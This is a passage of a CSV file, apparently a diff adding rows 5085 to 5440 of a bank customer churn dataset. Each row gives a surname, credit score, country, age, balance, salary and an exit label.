+5085,15666856,Chikwendu,774,France,Male,49,1,142767.39,1,1,1,8214.41,0 +5086,15687372,Padovesi,547,Germany,Male,49,8,121537.71,2,1,0,46521.45,1 +5087,15667289,Henderson,719,Spain,Male,50,2,0,2,0,0,10772.13,0 +5088,15624641,Kharlamova,740,Spain,Male,43,9,0,1,1,0,199290.68,1 +5089,15734610,Onio,543,France,Male,42,4,89838.71,3,1,0,85983.54,1 +5090,15631882,Yeh,688,Germany,Male,45,9,103399.87,1,0,0,129870.93,0 +5091,15642709,Feng,474,France,Female,30,9,0,2,0,0,63158.22,0 +5092,15811026,Norman,505,Germany,Male,43,5,136855.94,2,1,0,171070.52,0 +5093,15596303,White,688,France,Female,39,0,0,2,1,0,53222.15,1 +5094,15787255,Manfrin,650,Germany,Female,55,2,140891.46,3,1,1,179834.45,1 +5095,15617166,Ritchie,610,France,Male,37,0,0,1,1,0,114514.64,0 +5096,15742442,Udegbulam,705,Spain,Female,46,5,89364.91,1,0,1,139162.15,0 +5097,15758692,Kao,669,France,Female,29,7,146011.4,1,0,0,50249.16,0 +5098,15568238,Diaz,650,Spain,Male,20,8,0,2,1,1,113469.65,0 +5099,15730353,Olisaemeka,550,Germany,Male,29,9,145294.08,2,1,0,147484.13,0 +5100,15731555,Ross-Watt,595,Germany,Female,45,9,106000.12,1,0,0,191448.96,1 +5101,15582404,Miller,572,Spain,Female,26,5,0,2,1,0,119381.41,0 +5102,15721462,Shubin,622,Spain,Female,58,2,0,2,1,1,33277.31,0 +5103,15632899,Nwankwo,662,Spain,Male,20,9,104508.77,2,0,0,73107.53,0 +5104,15808526,Cartwright,783,Germany,Female,58,3,127539.3,1,1,1,96590.39,1 +5105,15694349,Ngozichukwuka,714,Spain,Male,44,7,0,1,0,1,6923.11,0 +5106,15718465,Sadler,671,Germany,Male,51,3,96891.46,1,1,0,176403.33,1 +5107,15682995,Azuka,600,France,Female,32,1,78535.25,1,1,0,64349.6,0 +5108,15584776,Shen,847,Spain,Female,37,9,112712.17,1,1,0,116097.26,0 +5109,15777772,Whittaker,650,Spain,Male,55,9,119618.42,1,1,1,29861.13,0 +5110,15576156,Abazu,710,Spain,Female,28,6,0,1,1,0,48426.98,0 +5111,15646756,Murphy,682,France,Female,33,8,74963.5,1,1,1,32770.56,0 +5112,15742886,Ford,642,France,Male,26,1,138023.79,2,0,1,117060.2,0 +5113,15586135,Gratwick,536,Spain,Female,28,4,0,1,1,1,136197.65,0 +5114,15616152,Pai,754,France,Female,47,1,185513.67,1,1,0,27438.83,0 +5115,15721460,Lorenzo,678,France,Male,60,8,185648.56,1,0,0,192156.54,1 +5116,15727317,Brady,533,Germany,Female,49,1,102286.6,3,1,0,69409.37,1 +5117,15649536,Wong,741,Germany,Male,38,4,128015.83,1,1,0,58440.43,0 +5118,15754929,Douglas,757,France,Male,31,10,39539.39,2,0,0,192519.39,0 +5119,15572051,Kennedy,721,France,Male,40,3,0,1,1,1,144874.67,0 +5120,15668142,Chang,700,France,Male,37,3,77608.46,2,1,1,175373.46,0 +5121,15701176,Brown,663,France,Male,26,5,141462.13,1,1,0,440.2,0 +5122,15708422,Hsiung,677,Spain,Female,35,0,0,2,0,0,76637.38,0 +5123,15655632,MacDonald,655,France,Male,27,2,131691.33,1,1,0,49480.66,0 +5124,15744606,Davidson,832,Spain,Male,29,8,93833.86,1,0,1,10417.87,0 +5125,15612140,Milano,721,Spain,Female,46,7,137933.39,1,1,1,67976.57,0 +5126,15656086,Bovee,542,Spain,Male,54,8,105770.14,1,0,1,140929.98,1 +5127,15655298,Lewis,654,Spain,Female,54,5,0,2,0,1,47139.06,0 +5128,15644796,Dyer,821,Spain,Female,38,8,0,2,0,1,126241.4,1 +5129,15726250,Hsia,508,France,Female,38,3,166328.65,2,0,1,22614.19,0 +5130,15764432,Hicks,588,Germany,Female,42,2,164307.77,1,1,0,48498.19,0 +5131,15631721,Millar,691,Germany,Male,38,9,163965.69,2,0,1,103511.26,0 +5132,15707479,Fan,664,France,Male,40,7,125608.72,1,1,0,122073.48,0 +5133,15579826,Young,439,France,Female,66,9,0,1,1,0,65535.56,0 +5134,15668104,Kerr,479,Spain,Male,37,6,118433.94,1,0,1,160060.9,0 +5135,15641604,Frolova,850,France,Female,55,10,98488.08,1,1,0,155879.57,1 +5136,15587240,Vasilyev,518,France,Male,40,4,0,2,0,1,194416.58,0 +5137,15680767,Sabbatini,717,Germany,Female,64,10,98362.35,2,1,1,21630.21,0 +5138,15601594,Ifeanacho,698,France,Female,51,6,144237.91,4,1,0,157143.61,1 +5139,15589969,Capon,850,France,Male,34,6,0,1,0,1,52796.31,0 +5140,15703728,Chieloka,700,Spain,Male,47,4,0,1,1,0,121798.52,1 +5141,15617790,Hanson,626,France,Female,29,4,105767.28,2,0,0,41104.82,0 +5142,15662500,Ts'ao,774,Spain,Male,32,9,0,2,1,0,10604.48,0 +5143,15778526,Bradshaw,719,Spain,Female,48,5,0,2,0,0,78563.66,0 +5144,15670584,Nkemakolam,646,Spain,Male,31,2,0,1,1,1,170821.43,1 +5145,15748069,Clunie,485,France,Female,25,3,134467.26,1,1,1,113266.09,0 +5146,15680597,Cover,784,Germany,Male,38,1,138515.02,1,1,1,171768.76,0 +5147,15628992,Esposito,850,Germany,Male,32,2,128647.98,2,0,0,54416.18,0 +5148,15719624,Hodgson,669,France,Female,38,9,121858.98,1,1,0,130755.34,0 +5149,15812767,Harvey,731,Spain,Male,70,3,0,2,1,1,141180.66,0 +5150,15689201,Dobie,721,France,Female,49,1,120108.56,1,0,1,183421.76,0 +5151,15614716,Okwudilichukwu,515,France,Female,37,0,196853.62,1,1,1,132770.11,0 +5152,15683618,Dyer,774,France,Female,35,3,121418.62,1,1,1,24400.37,0 +5153,15799631,Chase,585,Spain,Male,36,10,0,2,1,1,180318.6,0 +5154,15692259,Baresi,695,France,Female,29,9,0,2,1,0,111565.45,0 +5155,15590966,Lo,729,Germany,Female,42,4,97495.8,2,0,0,2002.5,0 +5156,15656426,Tyler,713,France,Female,42,3,0,2,0,0,82565.01,0 +5157,15675256,Ts'ui,555,Spain,Male,33,5,127343.4,1,0,1,121789.3,0 +5158,15751185,Aparicio,699,Spain,Female,50,0,158633.61,1,1,0,193785.87,0 +5159,15789582,Macleod,587,France,Male,55,9,0,1,1,0,64593.07,0 +5160,15651103,Sal,762,Spain,Female,69,9,183744.98,1,1,1,196993.69,0 +5161,15672299,Yeh,510,France,Male,44,6,0,2,1,1,175518.31,0 +5162,15772250,Udegbunam,842,Spain,Male,46,9,0,1,0,0,17268.02,0 +5163,15763922,Alexandrov,608,France,Male,31,7,79962.92,2,1,0,60901.72,0 +5164,15633870,Ozioma,850,France,Female,36,10,0,2,1,1,100750.03,0 +5165,15624323,Atkins,642,France,Male,36,4,0,2,1,1,195224.91,0 +5166,15688612,Campos,850,France,Male,33,7,140956.99,1,0,0,3510.18,0 +5167,15694644,Wood,455,Spain,Female,43,6,0,1,1,1,81250.79,0 +5168,15587174,Kerr,726,France,Male,29,7,0,2,1,1,91844.14,1 +5169,15579559,Chienezie,544,Spain,Male,30,8,145241.63,1,1,1,80676.83,0 +5170,15775430,Tsou,651,Germany,Male,31,7,138008.06,2,1,0,129912.74,0 +5171,15623695,McKinnon,814,France,Female,31,4,0,2,1,1,142029.17,0 +5172,15760849,Nwachukwu,537,France,Male,39,2,0,2,1,1,137651.6,0 +5173,15813095,Nwebube,553,France,Male,37,2,0,2,1,0,33877.29,0 +5174,15705281,Burt,800,Spain,Male,38,9,0,1,1,0,78744.39,0 +5175,15812594,Ross,791,France,Male,34,7,0,2,1,0,96734.46,0 +5176,15626322,Lees,699,Spain,Female,29,9,127570.93,2,1,0,164756.81,0 +5177,15723105,Feetham,756,France,Female,28,6,0,1,1,1,164394.65,0 +5178,15588449,Chuang,591,Spain,Female,27,5,107812.67,1,0,1,162501.83,1 +5179,15794849,Aitken,850,Germany,Male,22,7,91560.58,2,0,0,10541.38,0 +5180,15620000,Chambers,760,Germany,Male,34,6,121303.77,2,1,1,59325.21,0 +5181,15799720,Coburn,569,Spain,Male,43,8,161546.68,2,0,1,178187.28,0 +5182,15711287,Ahmed,661,Spain,Female,35,5,128415.45,1,1,0,142626.49,0 +5183,15613102,Ogochukwu,670,France,Female,31,2,57530.06,1,1,1,181893.31,1 +5184,15621440,Soto,694,France,Male,38,1,0,2,0,1,156858.2,0 +5185,15677146,Obiajulu,728,France,Female,28,4,142243.54,2,1,0,33074.51,0 +5186,15801169,Yegorova,764,Germany,Female,39,9,138341.51,1,1,0,50072.94,1 +5187,15722425,Lucchese,639,France,Male,32,9,0,2,1,0,111340.36,0 +5188,15682421,Talbot,683,France,Female,30,2,0,2,0,1,100496.84,1 +5189,15691910,Lu,663,Spain,Male,30,4,0,3,1,0,101371.05,0 +5190,15721779,Arnold,826,Spain,Male,41,5,146466.46,2,0,0,180934.67,0 +5191,15579548,Nicholson,735,Spain,Male,36,5,0,2,1,0,105152.17,0 +5192,15681075,Chukwualuka,682,France,Female,58,1,0,1,1,1,706.5,0 +5193,15607884,Wallace,663,France,Female,39,8,0,2,1,1,101168.9,0 +5194,15767757,Pisano,562,Spain,Female,29,9,120307.58,1,1,1,6795.61,0 +5195,15791550,Kelly,696,France,Male,27,4,87637.26,2,0,0,196111.35,0 +5196,15658589,Brady,850,Spain,Male,38,2,94652.04,1,1,1,171960.76,0 +5197,15670822,Palmer,719,France,Female,22,7,114415.84,1,1,1,177497.4,0 +5198,15629744,Tan,804,France,Female,71,8,0,2,0,1,147995.96,0 +5199,15660768,L?,604,France,Male,40,1,84315.02,1,0,0,36209.1,0 +5200,15726310,Mordvinova,782,Spain,Female,27,3,0,2,1,0,143614.01,0 +5201,15641298,Corones,512,Germany,Male,42,9,93955.83,2,1,0,14828.54,0 +5202,15625675,Clements,569,France,Male,36,1,67087.69,1,1,0,154775.7,0 +5203,15713354,Morrice,597,Germany,Female,22,6,101528.61,1,1,0,70529,1 +5204,15633866,Hsiung,753,Germany,Male,30,1,110824.52,1,1,1,57896.27,0 +5205,15704231,Barrett,430,France,Female,33,8,0,1,1,1,69759.91,0 +5206,15735400,Kanayochukwu,756,France,Male,28,8,179960.2,1,1,0,89938.08,0 +5207,15632826,Tardent,493,France,Male,38,3,134006.77,1,1,0,89578.32,0 +5208,15751022,Bowhay,777,Germany,Female,37,10,121532.17,2,1,1,73464.88,0 +5209,15664737,Lei,779,Spain,Female,38,7,0,2,1,1,138542.87,0 +5210,15681126,Baker,702,Spain,Female,38,2,0,1,1,1,161888.63,0 +5211,15738954,Pisano,551,France,Male,35,7,129717.3,2,0,0,86937.2,0 +5212,15662263,Castillo,749,Germany,Male,22,4,94762.16,2,1,1,42241.54,0 +5213,15621611,Gibson,742,Germany,Male,55,5,155196.17,1,0,1,121207.66,1 +5214,15783752,Lindsay,752,Germany,Male,29,4,129514.99,1,1,1,102930.46,0 +5215,15709474,Macnamara,740,Germany,Female,57,3,113386.36,2,1,1,65121.63,1 +5216,15701280,Romano,576,France,Male,24,3,0,1,0,1,78498.04,1 +5217,15671104,Aksakova,637,Spain,Male,43,3,172196.23,1,1,1,104769.96,0 +5218,15796434,Farnsworth,724,France,Male,28,5,97612.12,1,1,1,96498.14,0 +5219,15781505,Giordano,685,France,Male,20,4,104719.94,2,1,0,38691.34,0 +5220,15625819,Arnold,625,France,Female,38,7,0,1,1,0,164804.02,0 +5221,15753174,Thompson,571,Germany,Male,37,9,139592.98,3,1,0,104152.65,1 +5222,15654067,Koch,584,Spain,Female,29,4,0,2,1,0,88866.92,0 +5223,15724719,Jones,550,France,Female,22,7,139096.85,1,1,0,129890.94,0 +5224,15624695,Otitodilinna,662,Spain,Female,72,7,140301.72,1,0,1,179258.67,0 +5225,15718216,Fleetwood-Smith,803,Spain,Male,43,3,0,1,1,0,72051.44,0 +5226,15586300,Chinonyelum,615,France,Male,66,7,0,2,1,1,74580.8,0 +5227,15783349,Montague,481,Spain,Male,39,1,111233.09,1,1,1,123995.15,0 +5228,15725767,Milani,701,France,Male,23,3,0,2,1,0,38960.59,0 +5229,15791925,Palermo,751,France,Male,29,10,147737.63,1,0,1,94951.27,0 +5230,15793585,Anderson,675,France,Male,35,8,0,2,1,1,56642.97,0 +5231,15576641,Crawford,733,Germany,Male,40,5,125725.02,2,1,1,50783.1,0 +5232,15749519,Lin,822,France,Male,38,6,128289.7,3,1,0,9149.96,1 +5233,15684960,Yewen,559,France,Female,46,5,0,1,1,0,21006.1,1 +5234,15591286,Simmons,731,Germany,Female,49,4,88826.07,1,1,1,33759.41,1 +5235,15668323,Mbadiwe,678,France,Female,41,1,143443.61,1,1,0,196622.28,1 +5236,15608528,Munro,645,France,Female,68,9,0,4,1,1,176353.87,1 +5237,15645184,Graham,701,France,Male,29,2,0,2,1,0,176943.59,0 +5238,15702566,Lombardo,554,Spain,Male,26,8,149134.46,1,1,1,177966.24,0 +5239,15660840,Kalinin,723,France,Male,30,3,124119.54,1,1,0,162198.32,0 +5240,15750811,Woodward,766,Germany,Male,44,3,116822.7,1,0,0,197643.24,0 +5241,15733842,Pirozzi,597,France,Female,24,1,103219.47,1,1,0,60420.07,0 +5242,15581526,Iweobiegbulam,574,France,Male,41,1,0,2,0,0,70550,0 +5243,15662751,Piazza,655,Germany,Female,40,0,81954.6,1,1,1,198798.44,1 +5244,15684319,Baranova,780,Germany,Female,37,10,95196.26,1,1,0,126310.39,1 +5245,15702190,Fan,672,Spain,Male,43,5,0,2,1,1,64515.5,0 +5246,15588517,Sun,717,France,Male,38,7,0,2,1,1,158580.05,0 +5247,15801863,Marino,521,France,Female,32,2,136555.01,2,1,1,129353.21,0 +5248,15584271,Donaldson,633,France,Male,59,5,0,1,1,1,137273.97,0 +5249,15700366,Burton,669,France,Male,39,3,119452.03,1,1,1,171575.54,0 +5250,15804038,Quinn,740,France,Male,44,9,0,1,0,1,96528,1 +5251,15720820,Sabbatini,462,Germany,Female,24,9,69881.09,2,0,1,64421.02,0 +5252,15743759,Brooks,619,France,Male,39,5,0,2,1,1,158444.61,0 +5253,15749947,Black,665,France,Female,44,7,0,2,1,1,66548.58,0 +5254,15670496,Schwartz,655,Spain,Female,27,9,0,2,0,0,108008.05,0 +5255,15746664,Ts'ui,463,Spain,Male,20,8,204223.03,1,1,0,128268.39,0 +5256,15745533,Sargent,799,France,Female,63,1,110314.21,2,1,0,37464,1 +5257,15761497,Udinesi,713,Spain,Female,48,1,163760.82,1,0,0,157381.14,1 +5258,15628600,Lee,807,Germany,Female,31,1,141069.18,3,1,1,194257.11,0 +5259,15627002,Taylor,728,France,Male,38,1,115934.74,1,1,1,139059.05,0 +5260,15614635,Kepley,582,France,Male,52,2,151457.88,1,0,1,40893.61,0 +5261,15731281,Ozuluonye,704,Germany,Female,35,3,154206.07,2,1,1,40261.49,0 +5262,15814022,Lassetter,714,France,Female,26,9,89928.99,1,1,0,46203.31,0 +5263,15659194,Mishina,628,France,Male,30,8,89182.09,1,1,1,13126.9,0 +5264,15745030,Trevisano,809,Germany,Male,41,1,79706.25,2,1,0,165675.01,0 +5265,15691817,Iloerika,547,Spain,Female,44,5,0,3,0,0,5459.07,1 +5266,15707488,Tan,560,France,Female,27,5,0,2,1,0,131919.48,0 +5267,15784700,Chikelu,811,France,Male,31,7,117799.28,1,1,1,182372.35,0 +5268,15710397,Lin,584,France,Male,26,4,0,2,1,0,147600.54,0 +5269,15687648,Nicholson,691,France,Male,28,1,0,2,0,0,92865.41,0 +5270,15732281,Ugoji,680,Germany,Male,34,6,146422.22,1,1,0,67142.97,1 +5271,15607230,Michel,588,Germany,Male,33,9,150186.22,2,1,1,65611.01,0 +5272,15567630,Bruce,721,Germany,Male,40,6,100275.88,1,1,0,138564.48,1 +5273,15587507,Feng,850,France,Male,47,6,0,1,1,0,187391.02,1 +5274,15733904,McDonald,529,France,Male,32,9,147493.89,1,1,0,33656.35,0 +5275,15709511,Watt,622,France,Male,43,8,0,2,1,0,100618.17,0 +5276,15579616,Goodwin,683,France,Female,42,8,0,2,0,1,198134.9,0 +5277,15694852,Arcuri,575,France,Male,29,4,121823.4,2,1,1,50368.87,0 +5278,15589924,Rapuluolisa,577,Spain,Female,40,1,0,2,1,1,108787,0 +5279,15799300,Kao,510,Germany,Male,31,0,113688.63,1,1,0,33099.41,1 +5280,15731330,Tsui,652,Spain,Female,40,7,100471.34,1,1,1,124550.88,0 +5281,15694129,Summers,569,Germany,Female,28,3,100032.52,1,1,0,5159.21,1 +5282,15620372,Cross,687,Spain,Male,31,3,0,2,0,0,48228.1,0 +5283,15744622,Osorio,822,France,Male,32,8,116358,1,1,0,108798.36,0 +5284,15799815,Bobrov,656,Germany,Female,23,4,163549.63,1,0,1,21085.12,0 +5285,15759250,Barnett,745,Germany,Male,51,3,99183.9,1,1,1,28922.25,0 +5286,15732643,Pike,386,Spain,Female,53,1,131955.07,1,1,1,62514.65,1 +5287,15690540,Gearheart,684,Spain,Female,41,1,134177.06,1,0,0,177506.66,0 +5288,15803078,Bruno,635,Spain,Female,38,1,0,2,1,0,90605.05,0 +5289,15652180,Egobudike,582,France,Male,30,2,0,2,1,1,132029.95,0 +5290,15741195,Okechukwu,613,Spain,Male,19,5,0,1,1,1,176903.35,0 +5291,15743490,Zikoranachidimma,795,Germany,Female,56,9,94348.94,1,1,0,29239.29,1 +5292,15575510,Milanesi,659,France,Female,32,2,155584.21,1,0,1,153662.88,0 +5293,15732610,Ahern,745,France,Female,28,6,0,2,1,0,154389.18,0 +5294,15602909,Dickson,604,Spain,Female,41,10,0,2,1,1,166224.39,0 +5295,15734058,Anayochukwu,509,Germany,Male,32,9,170661.47,1,1,1,21646.2,0 +5296,15801788,McDonald,706,Germany,Female,29,6,185544.36,1,1,0,171037.63,0 +5297,15702462,Fiorentini,619,Spain,Female,44,6,52831.13,1,1,1,112649.22,1 +5298,15683416,Russo,572,Germany,Male,51,8,97750.07,3,1,1,193014.26,1 +5299,15794187,Young,695,France,Male,36,6,114007.5,2,1,0,118120.88,0 +5300,15792989,Bianchi,543,France,Female,71,1,104308.77,1,1,1,25650.04,0 +5301,15613734,Fallaci,640,France,Female,33,6,84719.13,2,1,1,113048.79,0 +5302,15606177,Crawford,672,France,Male,39,2,0,2,1,0,87372.49,0 +5303,15636700,Marsh,701,France,Male,39,9,140236.98,1,0,1,146651.99,0 +5304,15645766,Kosisochukwu,634,Spain,Male,25,9,0,2,1,1,8227.91,0 +5305,15671345,Piccio,531,Spain,Female,42,6,75302.85,2,0,0,57034.35,0 +5306,15652469,Nevels,699,France,Male,27,1,0,2,1,0,93003.21,0 +5307,15749638,Kaodilinakachukwu,605,France,Female,51,9,104760.82,1,1,1,165574.54,1 +5308,15728706,Amaechi,534,France,Female,49,7,0,1,1,0,13566.48,1 +5309,15735439,P'an,449,Spain,Female,31,1,113693,1,0,0,82796.29,0 +5310,15778696,Ikemefuna,684,Spain,Female,36,5,174180.39,1,1,0,119830.08,0 +5311,15624744,Tai,622,Germany,Male,42,9,115766.26,1,0,0,72155.85,1 +5312,15584338,Winn,714,France,Female,40,0,0,2,1,0,62762.12,0 +5313,15726178,Hardy,712,Spain,Female,48,8,0,2,1,0,183235.33,0 +5314,15794939,Chiu,783,France,Female,72,5,121215.9,2,1,1,105206.48,0 +5315,15788068,Lopez,743,Germany,Male,45,10,144677.19,3,1,0,22512.44,1 +5316,15572956,Steen,683,France,Male,36,5,115350.63,1,1,1,122305.91,0 +5317,15780386,Ferri,654,Spain,Male,40,5,105683.63,1,1,0,173617.09,0 +5318,15791114,Yegorova,700,France,Male,37,1,135179.49,1,1,0,160670.37,0 +5319,15708046,Knowles,744,Spain,Male,31,0,117551.23,1,1,0,158958.9,0 +5320,15719779,May,645,Germany,Male,25,1,157404.02,2,1,0,93073.04,0 +5321,15591550,Bianchi,525,Spain,Male,36,3,77910.23,1,1,0,67238.01,0 +5322,15639368,Pipes,732,France,Male,25,0,110942.9,1,0,0,172576.56,0 +5323,15699830,Doherty,721,France,Female,40,7,0,2,1,1,122580.48,0 +5324,15569264,Yobanna,622,France,Male,32,5,179305.09,1,1,1,149043.78,0 +5325,15595158,Hsu,654,Germany,Male,31,5,150593.59,2,1,1,105218.45,0 +5326,15599126,Russell,529,France,Female,43,0,123815.86,1,1,1,78463.99,1 +5327,15650575,Payne,720,Spain,Female,59,6,0,2,1,1,160849.43,1 +5328,15641490,Windsor,850,Germany,Female,25,8,69385.17,2,1,0,87834.24,0 +5329,15680234,Bray,667,Germany,Male,27,2,138032.15,1,1,0,166317.71,0 +5330,15592230,Seleznyov,620,France,Male,41,3,0,2,1,1,137309.06,0 +5331,15626212,Wark,616,France,Male,29,9,0,1,1,1,166984.44,0 +5332,15700627,Y?,637,Germany,Female,46,2,143500.82,1,1,0,166996.46,1 +5333,15782641,Brown,710,Spain,Female,29,3,119670.18,1,1,0,188022.44,0 +5334,15784445,Huang,717,Spain,Male,33,1,99106.73,1,0,0,194467.23,0 +5335,15813681,Zito,786,Germany,Male,24,2,120135.55,2,1,1,125449.47,0 +5336,15596649,Bailey,651,France,Female,39,8,0,1,1,0,137452.57,0 +5337,15700460,Allnutt,530,France,Female,55,4,120905.03,1,0,1,123475.88,1 +5338,15724076,Christie,815,Spain,Female,57,5,0,3,0,0,38941.44,1 +5339,15784000,Pope,715,Germany,Female,34,9,102277.52,1,0,0,177852.57,1 +5340,15733966,Johnstone,496,Germany,Female,55,4,125292.53,1,1,1,31532.96,1 +5341,15612667,Bird,680,Spain,Male,42,0,0,1,1,0,136377.21,0 +5342,15654025,Jones,646,France,Female,51,4,101629.3,1,0,0,130541.1,0 +5343,15589431,Pedder,807,Germany,Male,47,1,171937.27,1,1,1,65636.92,0 +5344,15578238,Calabrese,727,France,Male,47,7,0,2,1,0,193305.35,0 +5345,15566269,Chialuka,787,France,Male,25,5,0,2,1,0,47307.9,0 +5346,15639217,McKenzie,806,France,Male,34,6,0,2,0,0,100809.99,0 +5347,15688644,Holloway,603,France,Male,31,1,129743.75,1,1,0,109145.2,0 +5348,15662426,Tang,649,Spain,Male,32,1,0,1,0,1,91167.19,1 +5349,15720511,Byrne,547,Germany,Male,41,3,151191.31,1,1,0,175295.89,1 +5350,15567246,Selwyn,684,Germany,Male,32,3,102630.13,2,1,1,127433.47,0 +5351,15647965,Genovese,477,France,Female,57,9,114023.64,2,1,1,71167.17,1 +5352,15679048,Koger,558,Germany,Male,41,2,124227.14,1,1,1,111184.67,0 +5353,15675749,Baranov,695,France,Female,23,1,0,2,1,1,141756.32,0 +5354,15782181,Greco,592,Spain,Male,35,6,80285.16,1,1,0,72678.75,1 +5355,15795738,Owens,789,France,Male,31,4,175477.15,1,1,1,172832.9,0 +5356,15773751,Y?,597,France,Female,29,1,132144.35,1,1,0,158086.33,0 +5357,15655436,Kendall,839,Germany,Male,47,2,136911.07,1,1,1,168184.62,1 +5358,15691396,Ko,405,Germany,Male,31,5,133299.67,2,1,1,72950.14,0 +5359,15796958,Tang,658,France,Male,39,7,0,2,1,0,48378.4,0 +5360,15801832,Lombardo,684,Germany,Male,42,1,117691,1,1,1,23135.65,1 +5361,15661349,Perkins,633,France,Male,35,10,0,2,1,0,65675.47,0 +5362,15719265,Feng,589,France,Male,46,9,0,2,1,0,170676.67,0 +5363,15779985,Lo,750,Germany,Female,37,1,133199.71,2,1,1,27366.77,0 +5364,15663410,Piccio,771,Spain,Male,51,5,135506.58,3,1,1,152479.64,1 +5365,15704144,Mazzanti,812,Germany,Male,33,2,127154.14,2,0,1,105383.49,0 +5366,15774104,Chukwualuka,539,Spain,Male,39,2,0,2,1,1,48189.94,0 +5367,15812230,Elliot,670,Germany,Female,42,5,49508.79,3,1,1,100324.01,0 +5368,15742848,Gratton,673,France,Male,41,5,0,1,1,1,65657.29,0 +5369,15745326,Carandini,538,France,Female,62,3,75051.49,1,0,0,17682.02,1 +5370,15674541,Robinson,575,Spain,Male,52,8,123925.23,1,0,0,111342.66,1 +5371,15728564,Lo,682,France,Male,41,6,0,2,0,1,134158.09,1 +5372,15580701,Ma,712,France,Male,33,3,153819.58,1,1,0,79176.09,1 +5373,15688973,Vinogradova,598,Spain,Female,39,5,0,2,1,1,83103.46,0 +5374,15709412,H?,776,Spain,Male,30,6,0,2,0,1,63908.86,0 +5375,15607753,Alexandrova,606,Spain,Female,23,10,70417.79,1,0,1,90896.04,0 +5376,15705352,Yang,686,Spain,Male,38,7,111484.88,1,1,1,76076.2,0 +5377,15602500,Maslova,850,Spain,Male,38,1,146343.98,1,0,1,103902.11,0 +5378,15672437,Buccho,642,France,Male,72,1,160541,2,1,1,142223.94,0 +5379,15720968,Young,606,Germany,Male,27,2,130274.26,2,1,0,147533.09,0 +5380,15730796,Barker,627,France,Female,21,7,98993.02,1,1,1,169156.64,0 +5381,15768219,Sung,850,Spain,Male,36,0,0,2,1,0,141242.57,0 +5382,15663883,Hansen,850,Germany,Male,32,9,141827.33,2,1,1,149458.73,0 +5383,15589296,Brown,724,France,Female,40,6,110054.45,1,1,1,86950.72,0 +5384,15586425,Lo Duca,579,France,Male,28,4,0,2,1,1,176925.69,0 +5385,15679813,Ellis,727,Spain,Male,28,1,0,1,1,0,40357.39,0 +5386,15681410,Korff,813,Germany,Female,36,6,98088.09,1,0,1,26687.22,1 +5387,15668283,Gardiner,642,France,Male,48,9,118317.27,4,0,0,78702.98,1 +5388,15624072,Kiernan,669,Spain,Male,22,10,0,2,1,0,176163.74,0 +5389,15669664,Thompson,574,Germany,Male,54,1,99774.5,1,0,0,4896.11,1 +5390,15682728,Mathews,774,France,Female,32,4,0,2,0,0,114899.13,0 +5391,15573851,Macrossan,735,France,Female,38,1,0,3,0,0,92220.12,1 +5392,15733661,Illingworth,639,Spain,Female,27,8,133806.54,2,1,0,6251.3,0 +5393,15710012,Bowen,738,Spain,Male,44,2,0,2,1,0,43018.82,1 +5394,15763327,Craig,835,France,Male,32,8,124993.29,2,1,1,27548.06,0 +5395,15668853,Menhennitt,637,Spain,Female,44,0,157622.58,1,1,1,120454.2,0 +5396,15639303,Moore,589,Germany,Male,48,5,126111.61,1,0,1,133961.19,0 +5397,15691011,Shoebridge,591,France,Male,42,9,161651.37,2,1,1,131753.97,0 +5398,15638513,Palermo,723,France,Female,40,7,142856.95,2,0,0,38019.74,0 +5399,15648933,Reilly,831,Germany,Male,44,3,111100.98,1,1,1,28144.07,1 +5400,15628904,Bowen,733,Spain,Male,35,8,102918.38,1,1,1,45959.86,0 +5401,15644788,Fyodorov,731,France,Female,30,5,0,2,1,0,189528.72,0 +5402,15598161,Clements,654,France,Male,47,10,0,2,1,0,170481.98,0 +5403,15745624,McKenzie,828,France,Male,37,4,0,2,1,0,94845.45,0 +5404,15733169,Craig,590,Spain,Male,22,7,125265.61,1,1,1,161253.08,0 +5405,15801417,Iloerika,657,France,Male,37,4,82500.28,1,1,1,115260.72,0 +5406,15592707,Dolgorukova,531,Germany,Female,64,2,175754.87,2,1,1,60721.4,0 +5407,15593954,Eva,516,France,Female,47,6,109387.33,1,0,0,121365.45,0 +5408,15714431,Yeh,561,France,Male,37,1,100443.36,2,0,1,101693.73,0 +5409,15638257,P'an,682,Spain,Female,54,0,83102.72,2,1,1,54132.93,0 +5410,15690939,Howe,575,Spain,Male,28,7,0,1,1,1,10666.05,0 +5411,15723613,Jenkins,623,France,Female,28,4,0,2,1,0,41227.67,0 +5412,15813640,Shih,642,France,Female,40,7,0,2,1,0,10712.82,0 +5413,15707322,Nnamdi,779,France,Female,48,2,115290.27,1,0,0,98912.69,1 +5414,15588918,Mitchell,671,France,Female,42,6,0,2,1,0,197202.48,0 +5415,15600357,Findlay,495,France,Female,40,1,140197.71,2,1,0,150720.39,0 +5416,15747014,Pisani,850,France,Female,28,1,105245.34,1,0,1,74780.13,0 +5417,15809830,Belisario,630,France,Male,50,8,0,2,0,1,79377.45,0 +5418,15662245,Pomeroy,588,France,Male,32,1,0,2,1,1,8763.87,0 +5419,15651075,Ibrahimova,562,Germany,Male,35,3,142296.13,1,0,1,177112.7,0 +5420,15594456,K?,740,Spain,Female,56,4,99097.33,1,1,1,85016.64,1 +5421,15583462,Graham,695,France,Male,28,5,171069.39,2,1,1,88689.4,0 +5422,15757661,Trevisano,589,France,Female,39,7,0,2,0,0,95985.64,0 +5423,15729117,Trevisano,607,France,Female,31,1,102523.88,1,1,1,166792.71,0 +5424,15749671,K?,794,France,Male,35,6,0,2,1,1,68730.91,0 +5425,15566253,Manning,580,Germany,Male,44,9,143391.07,1,0,0,146891.07,1 +5426,15595153,Tucker,644,Germany,Female,44,8,106022.73,2,0,0,148727.42,0 +5427,15698572,Schaffer,636,Spain,Female,36,1,0,1,1,0,43134.58,0 +5428,15674149,Esomchi,599,Germany,Male,36,3,128960.21,2,1,1,40318.33,0 +5429,15623082,Ch'ang,507,France,Female,35,2,0,2,1,0,97633.93,0 +5430,15797905,Walker,682,France,Female,48,7,0,2,1,0,65069.03,0 +5431,15746028,Chu,714,France,Female,24,7,0,2,1,0,166335,0 +5432,15582951,Crawford,696,France,Female,25,8,126442.59,1,1,0,121904.44,0 +5433,15616471,Milne,599,Spain,Male,51,0,0,1,1,1,175235.99,0 +5434,15641575,Anenechukwu,577,France,Male,37,2,127261.35,1,1,0,56185.05,0 +5435,15638803,Donaldson,733,Spain,Female,32,5,0,2,1,0,131625.14,0 +5436,15808283,Kelly,647,France,Female,33,4,0,1,1,0,152323.04,0 +5437,15811200,Ts'ao,831,France,Female,34,2,0,2,0,0,165840.94,0 +5438,15733476,Gonzalez,543,Germany,Male,30,6,73481.05,1,1,1,176692.65,0 +5439,15633274,Tai,679,France,Male,34,7,160515.37,1,1,0,121904.14,0 +5440,15582168,Muravyova,713,Germany,Female,61,4,149525.34,2,1,0,123663.63,0 